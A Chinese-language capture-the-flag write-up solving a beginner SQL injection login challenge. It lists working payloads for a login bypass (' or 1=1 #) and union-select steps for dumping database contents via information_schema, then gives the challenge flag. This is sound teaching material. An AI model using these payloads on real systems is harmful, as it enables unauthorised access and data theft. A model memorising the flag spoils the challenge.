1. 题目概述
本题是 SQL 注入的入门经典题型,靶场环境为一个用户登录页面,无其他提示信息,目标是通过 SQL 注入绕过登录验证,最终获取 Flag。
2. 解题思路
登录框是 SQL 注入的高频场景,核心思路是通过构造特殊输入闭合后台的 SQL 查询语句,使查询条件恒成立,从而绕过身份验证。
首先推测后台 SQL 查询逻辑:
sql
SELECT * FROM users WHERE username = '$username' AND password = '$password'用户名和密码变量均用单引号包裹,属于单引号字符型注入。我们可以先通过单引号测试闭合方式,再构造恒真条件完成绕过。
3. 详细步骤
步骤 1:验证注入点
在用户名输入框输入单引号',密码填写任意内容,点击登录。 页面返回 SQL 语法错误提示,确认存在单引号闭合的 SQL 注入漏洞。
步骤 2:万能密码绕过
利用or 1=1构造恒真条件,并用#注释掉后续 SQL 语句。 在用户名输入框输入以下内容,密码填写任意值(如 123),点击登录:
plaintext
' or 1=1 #原理说明:代入后实际执行的 SQL 语句为
sql
SELECT * FROM users WHERE username = '' or 1=1 #' AND password = '123'#后的内容被数据库注释,查询条件'' or 1=1恒为真,因此会返回所有用户信息,成功绕过登录验证,页面直接显示 Flag。
进阶:联合查询脱库
若需完整掌握注入流程,可通过联合查询逐层获取数据:
- 判断字段数:输入
' order by 3 #报错,' order by 2 #正常,确认查询结果有 2 个字段。 - 定位回显位:输入
' union select 1,2 #,确认两个字段均会回显到页面。 - 查询数据库名:
' union select 1,database() #,得到库名geek。 - 查询表名与字段名:借助
information_schema系统库逐步查表、查字段,最终读取 Flag 字段内容。
4. Flag
plaintext
flag{SQL_1nj3ct10n_1s_s0_3asy}5. 知识点总结
- 字符型 SQL 注入的闭合方式判断方法
- 万能密码绕过登录的底层原理
- 联合查询注入的标准流程:猜字段数、找回显位、脱库取数据